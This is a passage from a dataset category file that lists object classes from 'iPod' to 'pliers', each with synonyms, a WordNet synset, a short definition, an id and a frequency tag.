'synset': 'ipod.n.01', 'name': 'iPod', 'frequency': 'f'}, {'synonyms': ['iron_(for_clothing)', 'smoothing_iron_(for_clothing)'], 'def': 'home appliance consisting of a flat metal base that is heated and used to smooth cloth', 'id': 414, 'synset': 'iron.n.04', 'name': 'iron_(for_clothing)', 'frequency': 'c'}, {'synonyms': ['ironing_board'], 'def': 'narrow padded board on collapsible supports; used for ironing clothes', 'id': 415, 'synset': 'ironing_board.n.01', 'name': 'ironing_board', 'frequency': 'c'}, {'synonyms': ['jacket'], 'def': 'a waist-length coat', 'id': 416, 'synset': 'jacket.n.01', 'name': 'jacket', 'frequency': 'f'}, {'synonyms': ['jam'], 'def': 'preserve of crushed fruit', 'id': 417, 'synset': 'jam.n.01', 'name': 'jam', 'frequency': 'c'}, {'synonyms': ['jar'], 'def': 'a vessel (usually cylindrical) with a wide mouth and without handles', 'id': 418, 'synset': 'jar.n.01', 'name': 'jar', 'frequency': 'f'}, {'synonyms': ['jean', 'blue_jean', 'denim'], 'def': '(usually plural) close-fitting trousers of heavy denim for manual work or casual wear', 'id': 419, 'synset': 'jean.n.01', 'name': 'jean', 'frequency': 'f'}, {'synonyms': ['jeep', 'landrover'], 'def': 'a car suitable for traveling over rough terrain', 'id': 420, 'synset': 'jeep.n.01', 'name': 'jeep', 'frequency': 'c'}, {'synonyms': ['jersey', 'T-shirt', 'tee_shirt'], 'def': 'a close-fitting pullover shirt', 'id': 421, 'synset': 'jersey.n.03', 'name': 'jersey', 'frequency': 'f'}, {'synonyms': ['jet_plane', 'jet-propelled_plane'], 'def': 'an airplane powered by one or more jet engines', 'id': 422, 'synset': 'jet.n.01', 'name': 'jet_plane', 'frequency': 'c'}, {'synonyms': ['jewelry', 'jewellery'], 'def': 'an adornment (as a bracelet or ring or necklace) made of precious metals and set with gems (or imitation gems)', 'id': 423, 'synset': 'jewelry.n.01', 'name': 'jewelry', 'frequency': 'c'}, {'synonyms': ['jumpsuit'], 'def': 'one-piece garment fashioned after a parachutist's uniform', 'id': 424, 'synset': 'jump_suit.n.01', 'name': 'jumpsuit', 'frequency': 'c'}, {'synonyms': ['kayak'], 'def': 'a small canoe consisting of a light frame made watertight with animal skins', 'id': 425, 'synset': 'kayak.n.01', 'name': 'kayak', 'frequency': 'c'}, {'synonyms': ['kettle', 'boiler'], 'def': 'a metal pot for stewing or boiling; usually has a lid', 'id': 426, 'synset': 'kettle.n.01', 'name': 'kettle', 'frequency': 'c'}, {'synonyms': ['key'], 'def': 'metal instrument used to unlock a lock', 'id': 427, 'synset': 'key.n.01', 'name': 'key', 'frequency': 'f'}, {'synonyms': ['kilt'], 'def': 'a knee-length pleated tartan skirt worn by men as part of the traditional dress in the Highlands of northern Scotland', 'id': 428, 'synset': 'kilt.n.01', 'name': 'kilt', 'frequency': 'c'}, {'synonyms': ['kimono'], 'def': 'a loose robe; imitated from robes originally worn by Japanese', 'id': 429, 'synset': 'kimono.n.01', 'name': 'kimono', 'frequency': 'c'}, {'synonyms': ['kitchen_sink'], 'def': 'a sink in a kitchen', 'id': 430, 'synset': 'kitchen_sink.n.01', 'name': 'kitchen_sink', 'frequency': 'f'}, {'synonyms': ['kite'], 'def': 'plaything consisting of a light frame covered with tissue paper; flown in wind at end of a string', 'id': 431, 'synset': 'kite.n.03', 'name': 'kite', 'frequency': 'f'}, {'synonyms': ['kitten', 'kitty'], 'def': 'young domestic cat', 'id': 432, 'synset': 'kitten.n.01', 'name': 'kitten', 'frequency': 'c'}, {'synonyms': ['kiwi_fruit'], 'def': 'fuzzy brown egg-shaped fruit with slightly tart green flesh', 'id': 433, 'synset': 'kiwi.n.03', 'name': 'kiwi_fruit', 'frequency': 'c'}, {'synonyms': ['knee_pad'], 'def': 'protective garment consisting of a pad worn by football or baseball or hockey players', 'id': 434, 'synset': 'knee_pad.n.01', 'name': 'knee_pad', 'frequency': 'f'}, {'synonyms': ['knife'], 'def': 'tool with a blade and point used as a cutting instrument', 'id': 435, 'synset': 'knife.n.01', 'name': 'knife', 'frequency': 'f'}, {'synonyms': ['knob'], 'def': 'a round handle often found on a door', 'id': 436, 'synset': 'knob.n.02', 'name': 'knob', 'frequency': 'f'}, {'synonyms': ['ladder'], 'def': 'steps consisting of two parallel members connected by rungs', 'id': 437, 'synset': 'ladder.n.01', 'name': 'ladder', 'frequency': 'f'}, {'synonyms': ['ladle'], 'def': 'a spoon-shaped vessel with a long handle frequently used to transfer liquids', 'id': 438, 'synset': 'ladle.n.01', 'name': 'ladle', 'frequency': 'c'}, {'synonyms': ['ladybug', 'ladybeetle', 'ladybird_beetle'], 'def': 'small round bright-colored and spotted beetle, typically red and black', 'id': 439, 'synset': 'ladybug.n.01', 'name': 'ladybug', 'frequency': 'c'}, {'synonyms': ['lamb_(animal)'], 'def': 'young sheep', 'id': 440, 'synset': 'lamb.n.01', 'name': 'lamb_(animal)', 'frequency': 'f'}, {'synonyms': ['lamp'], 'def': 'a piece of furniture holding one or more electric light bulbs', 'id': 441, 'synset': 'lamp.n.02', 'name': 'lamp', 'frequency': 'f'}, {'synonyms': ['lamppost'], 'def': 'a metal post supporting an outdoor lamp (such as a streetlight)', 'id': 442, 'synset': 'lamppost.n.01', 'name': 'lamppost', 'frequency': 'f'}, {'synonyms': ['lampshade'], 'def': 'a protective ornamental shade used to screen a light bulb from direct view', 'id': 443, 'synset': 'lampshade.n.01', 'name': 'lampshade', 'frequency': 'f'}, {'synonyms': ['lantern'], 'def': 'light in a transparent protective case', 'id': 444, 'synset': 'lantern.n.01', 'name': 'lantern', 'frequency': 'c'}, {'synonyms': ['lanyard', 'laniard'], 'def': 'a cord worn around the neck to hold a knife or whistle, etc.', 'id': 445, 'synset': 'lanyard.n.02', 'name': 'lanyard', 'frequency': 'f'}, {'synonyms': ['laptop_computer', 'notebook_computer'], 'def': 'a portable computer small enough to use in your lap', 'id': 446, 'synset': 'laptop.n.01', 'name': 'laptop_computer', 'frequency': 'f'}, {'synonyms': ['latch'], 'def': 'a bar that can be lowered or slid into a groove to fasten a door or gate', 'id': 447, 'synset': 'latch.n.02', 'name': 'latch', 'frequency': 'f'}, {'synonyms': ['legging_(clothing)', 'leging_(clothing)', 'leg_covering'], 'def': 'a garment covering the leg (usually extending from the knee to the ankle)', 'id': 448, 'synset': 'legging.n.01', 'name': 'legging_(clothing)', 'frequency': 'c'}, {'synonyms': ['Lego', 'Lego_set'], 'def': 'a child's plastic construction set for making models from blocks', 'id': 449, 'synset': 'lego.n.01', 'name': 'Lego', 'frequency': 'c'}, {'synonyms': ['lemon'], 'def': 'yellow oval fruit with juicy acidic flesh', 'id': 450, 'synset': 'lemon.n.01', 'name': 'lemon', 'frequency': 'f'}, {'synonyms': ['lettuce'], 'def': 'leafy plant commonly eaten in salad or on sandwiches', 'id': 451, 'synset': 'lettuce.n.02', 'name': 'lettuce', 'frequency': 'f'}, {'synonyms': ['license_plate', 'numberplate'], 'def': 'a plate mounted on the front and back of car and bearing the car's registration number', 'id': 452, 'synset': 'license_plate.n.01', 'name': 'license_plate', 'frequency': 'f'}, {'synonyms': ['life_buoy', 'lifesaver', 'life_belt', 'life_ring'], 'def': 'a ring-shaped life preserver used to prevent drowning (NOT a life-jacket or vest)', 'id': 453, 'synset': 'life_buoy.n.01', 'name': 'life_buoy', 'frequency': 'f'}, {'synonyms': ['life_jacket', 'life_vest'], 'def': 'life preserver consisting of a sleeveless jacket of buoyant or inflatable design', 'id': 454, 'synset': 'life_jacket.n.01', 'name': 'life_jacket', 'frequency': 'f'}, {'synonyms': ['lightbulb'], 'def': 'lightblub/source of light', 'id': 455, 'synset': 'light_bulb.n.01', 'name': 'lightbulb', 'frequency': 'f'}, {'synonyms': ['lime'], 'def': 'the green acidic fruit of any of various lime trees', 'id': 456, 'synset': 'lime.n.06', 'name': 'lime', 'frequency': 'f'}, {'synonyms': ['lion'], 'def': 'large gregarious predatory cat of Africa and India', 'id': 457, 'synset': 'lion.n.01', 'name': 'lion', 'frequency': 'c'}, {'synonyms': ['lip_balm'], 'def': 'a balm applied to the lips', 'id': 458, 'synset': 'lip_balm.n.01', 'name': 'lip_balm', 'frequency': 'c'}, {'synonyms': ['lizard'], 'def': 'a reptile with usually two pairs of legs and a tapering tail', 'id': 459, 'synset': 'lizard.n.01', 'name': 'lizard', 'frequency': 'c'}, {'synonyms': ['log'], 'def': 'a segment of the trunk of a tree when stripped of branches', 'id': 460, 'synset': 'log.n.01', 'name': 'log', 'frequency': 'f'}, {'synonyms': ['lollipop'], 'def': 'hard candy on a stick', 'id': 461, 'synset': 'lollipop.n.02', 'name': 'lollipop', 'frequency': 'c'}, {'synonyms': ['speaker_(stero_equipment)'], 'def': 'electronic device that produces sound often as part of a stereo system', 'id': 462, 'synset': 'loudspeaker.n.01', 'name': 'speaker_(stero_equipment)', 'frequency': 'f'}, {'synonyms': ['loveseat'], 'def': 'small sofa that seats two people', 'id': 463, 'synset': 'love_seat.n.01', 'name': 'loveseat', 'frequency': 'c'}, {'synonyms': ['magazine'], 'def': 'a paperback periodic publication', 'id': 464, 'synset': 'magazine.n.02', 'name': 'magazine', 'frequency': 'f'}, {'synonyms': ['magnet'], 'def': 'a device that attracts iron and produces a magnetic field', 'id': 465, 'synset': 'magnet.n.01', 'name': 'magnet', 'frequency': 'f'}, {'synonyms': ['mail_slot'], 'def': 'a slot (usually in a door) through which mail can be delivered', 'id': 466, 'synset': 'mail_slot.n.01', 'name': 'mail_slot', 'frequency': 'c'}, {'synonyms': ['mailbox_(at_home)', 'letter_box_(at_home)'], 'def': 'a private box for delivery of mail', 'id': 467, 'synset': 'mailbox.n.01', 'name': 'mailbox_(at_home)', 'frequency': 'f'}, {'synonyms': ['mandarin_orange'], 'def': 'a somewhat flat reddish-orange loose skinned citrus of China', 'id': 468, 'synset': 'mandarin.n.05', 'name': 'mandarin_orange', 'frequency': 'c'}, {'synonyms': ['manger', 'trough'], 'def': 'a container (usually in a barn or stable) from which cattle or horses feed', 'id': 469, 'synset': 'manger.n.01', 'name': 'manger', 'frequency': 'c'}, {'synonyms': ['manhole'], 'def': 'a hole (usually with a flush cover) through which a person can gain access to an underground structure', 'id': 470, 'synset': 'manhole.n.01', 'name': 'manhole', 'frequency': 'f'}, {'synonyms': ['map'], 'def': 'a diagrammatic representation of the earth's surface (or part of it)', 'id': 471, 'synset': 'map.n.01', 'name': 'map', 'frequency': 'f'}, {'synonyms': ['marker'], 'def': 'a writing implement for making a mark', 'id': 472, 'synset': 'marker.n.03', 'name': 'marker', 'frequency': 'f'}, {'synonyms': ['mashed_potato'], 'def': 'potato that has been peeled and boiled and then mashed', 'id': 473, 'synset': 'mashed_potato.n.01', 'name': 'mashed_potato', 'frequency': 'c'}, {'synonyms': ['mask', 'facemask'], 'def': 'a protective covering worn over the face', 'id': 474, 'synset': 'mask.n.04', 'name': 'mask', 'frequency': 'f'}, {'synonyms': ['mast'], 'def': 'a vertical spar for supporting sails', 'id': 475, 'synset': 'mast.n.01', 'name': 'mast', 'frequency': 'f'}, {'synonyms': ['mat_(gym_equipment)', 'gym_mat'], 'def': 'sports equipment consisting of a piece of thick padding on the floor for gymnastics', 'id': 476, 'synset': 'mat.n.03', 'name': 'mat_(gym_equipment)', 'frequency': 'c'}, {'synonyms': ['mattress'], 'def': 'a thick pad filled with resilient material used as a bed or part of a bed', 'id': 477, 'synset': 'mattress.n.01', 'name': 'mattress', 'frequency': 'f'}, {'synonyms': ['measuring_cup'], 'def': 'graduated cup used to measure liquid or granular ingredients', 'id': 478, 'synset': 'measuring_cup.n.01', 'name': 'measuring_cup', 'frequency': 'c'}, {'synonyms': ['measuring_stick', 'ruler_(measuring_stick)', 'measuring_rod'], 'def': 'measuring instrument having a sequence of marks at regular intervals', 'id': 479, 'synset': 'measuring_stick.n.01', 'name': 'measuring_stick', 'frequency': 'c'}, {'synonyms': ['meatball'], 'def': 'ground meat formed into a ball and fried or simmered in broth', 'id': 480, 'synset': 'meatball.n.01', 'name': 'meatball', 'frequency': 'c'}, {'synonyms': ['medicine'], 'def': 'something that treats or prevents or alleviates the symptoms of disease', 'id': 481, 'synset': 'medicine.n.02', 'name': 'medicine', 'frequency': 'c'}, {'synonyms': ['melon'], 'def': 'fruit of the gourd family having a hard rind and sweet juicy flesh', 'id': 482, 'synset': 'melon.n.01', 'name': 'melon', 'frequency': 'c'}, {'synonyms': ['microphone'], 'def': 'device for converting sound waves into electrical energy', 'id': 483, 'synset': 'microphone.n.01', 'name': 'microphone', 'frequency': 'f'}, {'synonyms': ['microwave_oven'], 'def': 'kitchen appliance that cooks food by passing an electromagnetic wave through it', 'id': 484, 'synset': 'microwave.n.02', 'name': 'microwave_oven', 'frequency': 'f'}, {'synonyms': ['milk'], 'def': 'a white nutritious liquid secreted by mammals and used as food by human beings', 'id': 485, 'synset': 'milk.n.01', 'name': 'milk', 'frequency': 'f'}, {'synonyms': ['minivan'], 'def': 'a small box-shaped passenger van', 'id': 486, 'synset': 'minivan.n.01', 'name': 'minivan', 'frequency': 'f'}, {'synonyms': ['mirror'], 'def': 'polished surface that forms images by reflecting light', 'id': 487, 'synset': 'mirror.n.01', 'name': 'mirror', 'frequency': 'f'}, {'synonyms': ['mitten'], 'def': 'glove that encases the thumb separately and the other four fingers together', 'id': 488, 'synset': 'mitten.n.01', 'name': 'mitten', 'frequency': 'c'}, {'synonyms': ['mixer_(kitchen_tool)', 'stand_mixer'], 'def': 'a kitchen utensil that is used for mixing foods', 'id': 489, 'synset': 'mixer.n.04', 'name': 'mixer_(kitchen_tool)', 'frequency': 'c'}, {'synonyms': ['money'], 'def': 'the official currency issued by a government or national bank', 'id': 490, 'synset': 'money.n.03', 'name': 'money', 'frequency': 'c'}, {'synonyms': ['monitor_(computer_equipment) computer_monitor'], 'def': 'a computer monitor', 'id': 491, 'synset': 'monitor.n.04', 'name': 'monitor_(computer_equipment) computer_monitor', 'frequency': 'f'}, {'synonyms': ['monkey'], 'def': 'any of various long-tailed primates', 'id': 492, 'synset': 'monkey.n.01', 'name': 'monkey', 'frequency': 'c'}, {'synonyms': ['motor'], 'def': 'machine that converts other forms of energy into mechanical energy and so imparts motion', 'id': 493, 'synset': 'motor.n.01', 'name': 'motor', 'frequency': 'f'}, {'synonyms': ['motor_scooter', 'scooter'], 'def': 'a wheeled vehicle with small wheels and a low-powered engine', 'id': 494, 'synset': 'motor_scooter.n.01', 'name': 'motor_scooter', 'frequency': 'f'}, {'synonyms': ['motorcycle'], 'def': 'a motor vehicle with two wheels and a strong frame', 'id': 495, 'synset': 'motorcycle.n.01', 'name': 'motorcycle', 'frequency': 'f'}, {'synonyms': ['mound_(baseball)', 'pitcher's_mound'], 'def': '(baseball) the slight elevation on which the pitcher stands', 'id': 496, 'synset': 'mound.n.01', 'name': 'mound_(baseball)', 'frequency': 'f'}, {'synonyms': ['mouse_(computer_equipment)', 'computer_mouse'], 'def': 'a computer input device that controls an on-screen pointer (does not include trackpads / touchpads)', 'id': 497, 'synset': 'mouse.n.04', 'name': 'mouse_(computer_equipment)', 'frequency': 'f'}, {'synonyms': ['mousepad'], 'def': 'a small portable pad that provides an operating surface for a computer mouse', 'id': 498, 'synset': 'mousepad.n.01', 'name': 'mousepad', 'frequency': 'f'}, {'synonyms': ['muffin'], 'def': 'a sweet quick bread baked in a cup-shaped pan', 'id': 499, 'synset': 'muffin.n.01', 'name': 'muffin', 'frequency': 'c'}, {'synonyms': ['mug'], 'def': 'with handle and usually cylindrical', 'id': 500, 'synset': 'mug.n.04', 'name': 'mug', 'frequency': 'f'}, {'synonyms': ['mushroom'], 'def': 'a common mushroom', 'id': 501, 'synset': 'mushroom.n.02', 'name': 'mushroom', 'frequency': 'f'}, {'synonyms': ['musical_instrument', 'instrument_(musical)'], 'def': 'any of various devices or contrivances that can be used to produce musical tones or sounds', 'id': 502, 'synset': 'musical_instrument.n.01', 'name': 'musical_instrument', 'frequency': 'c'}, {'synonyms': ['napkin', 'table_napkin', 'serviette'], 'def': 'a small piece of table linen or paper that is used to wipe the mouth and to cover the lap in order to protect clothing', 'id': 503, 'synset': 'napkin.n.01', 'name': 'napkin', 'frequency': 'f'}, {'synonyms': ['necklace'], 'def': 'jewelry consisting of a cord or chain (often bearing gems) worn about the neck as an ornament', 'id': 504, 'synset': 'necklace.n.01', 'name': 'necklace', 'frequency': 'f'}, {'synonyms': ['necktie', 'tie_(necktie)'], 'def': 'neckwear consisting of a long narrow piece of material worn under a collar and tied in knot at the front', 'id': 505, 'synset': 'necktie.n.01', 'name': 'necktie', 'frequency': 'f'}, {'synonyms': ['needle'], 'def': 'a sharp pointed implement (usually metal)', 'id': 506, 'synset': 'needle.n.03', 'name': 'needle', 'frequency': 'c'}, {'synonyms': ['nest'], 'def': 'a structure in which animals lay eggs or give birth to their young', 'id': 507, 'synset': 'nest.n.01', 'name': 'nest', 'frequency': 'c'}, {'synonyms': ['newspaper', 'paper_(newspaper)'], 'def': 'a daily or weekly publication on folded sheets containing news, articles, and advertisements', 'id': 508, 'synset': 'newspaper.n.01', 'name': 'newspaper', 'frequency': 'f'}, {'synonyms': ['newsstand'], 'def': 'a stall where newspapers and other periodicals are sold', 'id': 509, 'synset': 'newsstand.n.01', 'name': 'newsstand', 'frequency': 'c'}, {'synonyms': ['nightshirt', 'nightwear', 'sleepwear', 'nightclothes'], 'def': 'garments designed to be worn in bed', 'id': 510, 'synset': 'nightwear.n.01', 'name': 'nightshirt', 'frequency': 'c'}, {'synonyms': ['noseband_(for_animals)', 'nosepiece_(for_animals)'], 'def': 'a strap that is the part of a bridle that goes over the animal's nose', 'id': 511, 'synset': 'noseband.n.01', 'name': 'noseband_(for_animals)', 'frequency': 'c'}, {'synonyms': ['notebook'], 'def': 'a book with blank pages for recording notes or memoranda', 'id': 512, 'synset': 'notebook.n.01', 'name': 'notebook', 'frequency': 'f'}, {'synonyms': ['notepad'], 'def': 'a pad of paper for keeping notes', 'id': 513, 'synset': 'notepad.n.01', 'name': 'notepad', 'frequency': 'c'}, {'synonyms': ['nut'], 'def': 'a small metal block (usually square or hexagonal) with internal screw thread to be fitted onto a bolt', 'id': 514, 'synset': 'nut.n.03', 'name': 'nut', 'frequency': 'f'}, {'synonyms': ['oar'], 'def': 'an implement used to propel or steer a boat', 'id': 515, 'synset': 'oar.n.01', 'name': 'oar', 'frequency': 'f'}, {'synonyms': ['oil_lamp', 'kerosene_lamp', 'kerosine_lamp'], 'def': 'a lamp that burns oil (as kerosine) for light', 'id': 516, 'synset': 'oil_lamp.n.01', 'name': 'oil_lamp', 'frequency': 'c'}, {'synonyms': ['olive_oil'], 'def': 'oil from olives', 'id': 517, 'synset': 'olive_oil.n.01', 'name': 'olive_oil', 'frequency': 'c'}, {'synonyms': ['onion'], 'def': 'the bulb of an onion plant', 'id': 518, 'synset': 'onion.n.01', 'name': 'onion', 'frequency': 'f'}, {'synonyms': ['orange_(fruit)'], 'def': 'orange (FRUIT of an orange tree)', 'id': 519, 'synset': 'orange.n.01', 'name': 'orange_(fruit)', 'frequency': 'f'}, {'synonyms': ['orange_juice'], 'def': 'bottled or freshly squeezed juice of oranges', 'id': 520, 'synset': 'orange_juice.n.01', 'name': 'orange_juice', 'frequency': 'c'}, {'synonyms': ['ostrich'], 'def': 'fast-running African flightless bird with two-toed feet; largest living bird', 'id': 521, 'synset': 'ostrich.n.02', 'name': 'ostrich', 'frequency': 'c'}, {'synonyms': ['ottoman', 'pouf', 'pouffe', 'hassock'], 'def': 'a thick standalone cushion used as a seat or footrest, often next to a chair', 'id': 522, 'synset': 'ottoman.n.03', 'name': 'ottoman', 'frequency': 'f'}, {'synonyms': ['oven'], 'def': 'kitchen appliance used for baking or roasting', 'id': 523, 'synset': 'oven.n.01', 'name': 'oven', 'frequency': 'f'}, {'synonyms': ['overalls_(clothing)'], 'def': 'work clothing consisting of denim trousers usually with a bib and shoulder straps', 'id': 524, 'synset': 'overall.n.01', 'name': 'overalls_(clothing)', 'frequency': 'c'}, {'synonyms': ['owl'], 'def': 'nocturnal bird of prey with hawk-like beak and claws and large head with front-facing eyes', 'id': 525, 'synset': 'owl.n.01', 'name': 'owl', 'frequency': 'c'}, {'synonyms': ['packet'], 'def': 'a small package or bundle', 'id': 526, 'synset': 'packet.n.03', 'name': 'packet', 'frequency': 'c'}, {'synonyms': ['pad'], 'def': 'mostly arm/knee pads labeled', 'id': 527, 'synset': 'pad.n.04', 'name': 'pad', 'frequency': 'c'}, {'synonyms': ['paddle', 'boat_paddle'], 'def': 'a short light oar used without an oarlock to propel a canoe or small boat', 'id': 528, 'synset': 'paddle.n.04', 'name': 'paddle', 'frequency': 'f'}, {'synonyms': ['padlock'], 'def': 'a detachable, portable lock', 'id': 529, 'synset': 'padlock.n.01', 'name': 'padlock', 'frequency': 'c'}, {'synonyms': ['paintbrush'], 'def': 'a brush used as an applicator to apply paint', 'id': 530, 'synset': 'paintbrush.n.01', 'name': 'paintbrush', 'frequency': 'c'}, {'synonyms': ['painting'], 'def': 'graphic art consisting of an artistic composition made by applying paints to a surface', 'id': 531, 'synset': 'painting.n.01', 'name': 'painting', 'frequency': 'f'}, {'synonyms': ['pajamas', 'pyjamas'], 'def': 'loose-fitting nightclothes worn for sleeping or lounging', 'id': 532, 'synset': 'pajama.n.02', 'name': 'pajamas', 'frequency': 'f'}, {'synonyms': ['palette', 'pallet'], 'def': 'board that provides a flat surface on which artists mix paints and the range of colors used', 'id': 533, 'synset': 'palette.n.02', 'name': 'palette', 'frequency': 'c'}, {'synonyms': ['pan_(for_cooking)', 'cooking_pan'], 'def': 'cooking utensil consisting of a wide metal vessel', 'id': 534, 'synset': 'pan.n.01', 'name': 'pan_(for_cooking)', 'frequency': 'f'}, {'synonyms': ['pancake'], 'def': 'a flat cake of thin batter fried on both sides on a griddle', 'id': 535, 'synset': 'pancake.n.01', 'name': 'pancake', 'frequency': 'c'}, {'synonyms': ['paper_plate'], 'def': 'a disposable plate made of cardboard', 'id': 536, 'synset': 'paper_plate.n.01', 'name': 'paper_plate', 'frequency': 'f'}, {'synonyms': ['paper_towel'], 'def': 'a disposable towel made of absorbent paper', 'id': 537, 'synset': 'paper_towel.n.01', 'name': 'paper_towel', 'frequency': 'f'}, {'synonyms': ['parachute'], 'def': 'rescue equipment consisting of a device that fills with air and retards your fall', 'id': 538, 'synset': 'parachute.n.01', 'name': 'parachute', 'frequency': 'c'}, {'synonyms': ['parakeet', 'parrakeet', 'parroket', 'paraquet', 'paroquet', 'parroquet'], 'def': 'any of numerous small slender long-tailed parrots', 'id': 539, 'synset': 'parakeet.n.01', 'name': 'parakeet', 'frequency': 'c'}, {'synonyms': ['parasail_(sports)'], 'def': 'parachute that will lift a person up into the air when it is towed by a motorboat or a car', 'id': 540, 'synset': 'parasail.n.01', 'name': 'parasail_(sports)', 'frequency': 'c'}, {'synonyms': ['parasol', 'sunshade'], 'def': 'a handheld collapsible source of shade', 'id': 541, 'synset': 'parasol.n.01', 'name': 'parasol', 'frequency': 'c'}, {'synonyms': ['parka', 'anorak'], 'def': 'a kind of heavy jacket (`windcheater' is a British term)', 'id': 542, 'synset': 'parka.n.01', 'name': 'parka', 'frequency': 'c'}, {'synonyms': ['parking_meter'], 'def': 'a coin-operated timer located next to a parking space', 'id': 543, 'synset': 'parking_meter.n.01', 'name': 'parking_meter', 'frequency': 'f'}, {'synonyms': ['parrot'], 'def': 'usually brightly colored tropical birds with short hooked beaks and the ability to mimic sounds', 'id': 544, 'synset': 'parrot.n.01', 'name': 'parrot', 'frequency': 'c'}, {'synonyms': ['passenger_car_(part_of_a_train)', 'coach_(part_of_a_train)'], 'def': 'a railcar where passengers ride', 'id': 545, 'synset': 'passenger_car.n.01', 'name': 'passenger_car_(part_of_a_train)', 'frequency': 'c'}, {'synonyms': ['passport'], 'def': 'a document issued by a country to a citizen allowing that person to travel abroad and re-enter the home country', 'id': 546, 'synset': 'passport.n.02', 'name': 'passport', 'frequency': 'c'}, {'synonyms': ['pastry'], 'def': 'any of various baked foods made of dough or batter', 'id': 547, 'synset': 'pastry.n.02', 'name': 'pastry', 'frequency': 'f'}, {'synonyms': ['pea_(food)'], 'def': 'seed of a pea plant used for food', 'id': 548, 'synset': 'pea.n.01', 'name': 'pea_(food)', 'frequency': 'c'}, {'synonyms': ['peach'], 'def': 'downy juicy fruit with sweet yellowish or whitish flesh', 'id': 549, 'synset': 'peach.n.03', 'name': 'peach', 'frequency': 'c'}, {'synonyms': ['peanut_butter'], 'def': 'a spread made from ground peanuts', 'id': 550, 'synset': 'peanut_butter.n.01', 'name': 'peanut_butter', 'frequency': 'c'}, {'synonyms': ['pear'], 'def': 'sweet juicy gritty-textured fruit available in many varieties', 'id': 551, 'synset': 'pear.n.01', 'name': 'pear', 'frequency': 'f'}, {'synonyms': ['peeler_(tool_for_fruit_and_vegetables)'], 'def': 'a device for peeling vegetables or fruits', 'id': 552, 'synset': 'peeler.n.03', 'name': 'peeler_(tool_for_fruit_and_vegetables)', 'frequency': 'c'}, {'synonyms': ['pelican'], 'def': 'large long-winged warm-water seabird having a large bill with a distensible pouch for fish', 'id': 553, 'synset': 'pelican.n.01', 'name': 'pelican', 'frequency': 'c'}, {'synonyms': ['pen'], 'def': 'a writing implement with a point from which ink flows', 'id': 554, 'synset': 'pen.n.01', 'name': 'pen', 'frequency': 'f'}, {'synonyms': ['pencil'], 'def': 'a thin cylindrical pointed writing implement made of wood and graphite', 'id': 555, 'synset': 'pencil.n.01', 'name': 'pencil', 'frequency': 'f'}, {'synonyms': ['penguin'], 'def': 'short-legged flightless birds of cold southern regions having webbed feet and wings modified as flippers', 'id': 556, 'synset': 'penguin.n.01', 'name': 'penguin', 'frequency': 'c'}, {'synonyms': ['pepper', 'peppercorn'], 'def': 'pungent seasoning from the berry of the common pepper plant; whole or ground', 'id': 557, 'synset': 'pepper.n.03', 'name': 'pepper', 'frequency': 'f'}, {'synonyms': ['pepper_mill', 'pepper_grinder'], 'def': 'a mill for grinding pepper', 'id': 558, 'synset': 'pepper_mill.n.01', 'name': 'pepper_mill', 'frequency': 'c'}, {'synonyms': ['perfume'], 'def': 'a toiletry that emits and diffuses a fragrant odor', 'id': 559, 'synset': 'perfume.n.02', 'name': 'perfume', 'frequency': 'c'}, {'synonyms': ['person', 'baby', 'child', 'boy', 'girl', 'man', 'woman', 'human'], 'def': 'a human being', 'id': 560, 'synset': 'person.n.01', 'name': 'person', 'frequency': 'f'}, {'synonyms': ['pet'], 'def': 'a domesticated animal kept for companionship or amusement', 'id': 561, 'synset': 'pet.n.01', 'name': 'pet', 'frequency': 'c'}, {'synonyms': ['pew_(church_bench)', 'church_bench'], 'def': 'long bench with backs; used in church by the congregation', 'id': 562, 'synset': 'pew.n.01', 'name': 'pew_(church_bench)', 'frequency': 'c'}, {'synonyms': ['phonograph_record', 'phonograph_recording', 'record_(phonograph_recording)'], 'def': 'sound recording consisting of a typically black disk with a continuous groove', 'id': 563, 'synset': 'phonograph_record.n.01', 'name': 'phonograph_record', 'frequency': 'c'}, {'synonyms': ['piano'], 'def': 'a keyboard instrument that is played by depressing keys that cause hammers to strike tuned strings and produce sounds', 'id': 564, 'synset': 'piano.n.01', 'name': 'piano', 'frequency': 'f'}, {'synonyms': ['pickle'], 'def': 'vegetables (especially cucumbers) preserved in brine or vinegar', 'id': 565, 'synset': 'pickle.n.01', 'name': 'pickle', 'frequency': 'f'}, {'synonyms': ['pickup_truck'], 'def': 'a light truck with an open body and low sides and a tailboard', 'id': 566, 'synset': 'pickup.n.01', 'name': 'pickup_truck', 'frequency': 'f'}, {'synonyms': ['pie'], 'def': 'dish baked in pastry-lined pan often with a pastry top', 'id': 567, 'synset': 'pie.n.01', 'name': 'pie', 'frequency': 'c'}, {'synonyms': ['pigeon'], 'def': 'wild and domesticated birds having a heavy body and short legs', 'id': 568, 'synset': 'pigeon.n.01', 'name': 'pigeon', 'frequency': 'c'}, {'synonyms': ['pillow'], 'def': 'a cushion to support the head of a sleeping person', 'id': 569, 'synset': 'pillow.n.01', 'name': 'pillow', 'frequency': 'f'}, {'synonyms': ['pineapple'], 'def': 'large sweet fleshy tropical fruit with a tuft of stiff leaves', 'id': 570, 'synset': 'pineapple.n.02', 'name': 'pineapple', 'frequency': 'f'}, {'synonyms': ['pinecone'], 'def': 'the seed-producing cone of a pine tree', 'id': 571, 'synset': 'pinecone.n.01', 'name': 'pinecone', 'frequency': 'c'}, {'synonyms': ['pipe', 'piping'], 'def': 'a long tube made of metal or plastic that is used to carry water or oil or gas etc.', 'id': 572, 'synset': 'pipe.n.02', 'name': 'pipe', 'frequency': 'f'}, {'synonyms': ['pita_(bread)', 'pocket_bread'], 'def': 'usually small round bread that can open into a pocket for filling', 'id': 573, 'synset': 'pita.n.01', 'name': 'pita_(bread)', 'frequency': 'c'}, {'synonyms': ['pitcher_(vessel_for_liquid)', 'ewer'], 'def': 'an open vessel with a handle and a spout for pouring', 'id': 574, 'synset': 'pitcher.n.02', 'name': 'pitcher_(vessel_for_liquid)', 'frequency': 'f'}, {'synonyms': ['pizza'], 'def': 'Italian open pie made of thin bread dough spread with a spiced mixture of e.g. tomato sauce and cheese', 'id': 575, 'synset': 'pizza.n.01', 'name': 'pizza', 'frequency': 'f'}, {'synonyms': ['place_mat'], 'def': 'a mat placed on a table for an individual place setting', 'id': 576, 'synset': 'place_mat.n.01', 'name': 'place_mat', 'frequency': 'f'}, {'synonyms': ['plate'], 'def': 'dish on which food is served or from which food is eaten', 'id': 577, 'synset': 'plate.n.04', 'name': 'plate', 'frequency': 'f'}, {'synonyms': ['platter'], 'def': 'a large shallow dish used for serving food', 'id': 578, 'synset': 'platter.n.01', 'name': 'platter', 'frequency': 'c'}, {'synonyms': ['pliers', 'plyers'], 'def': 'a gripping hand tool with 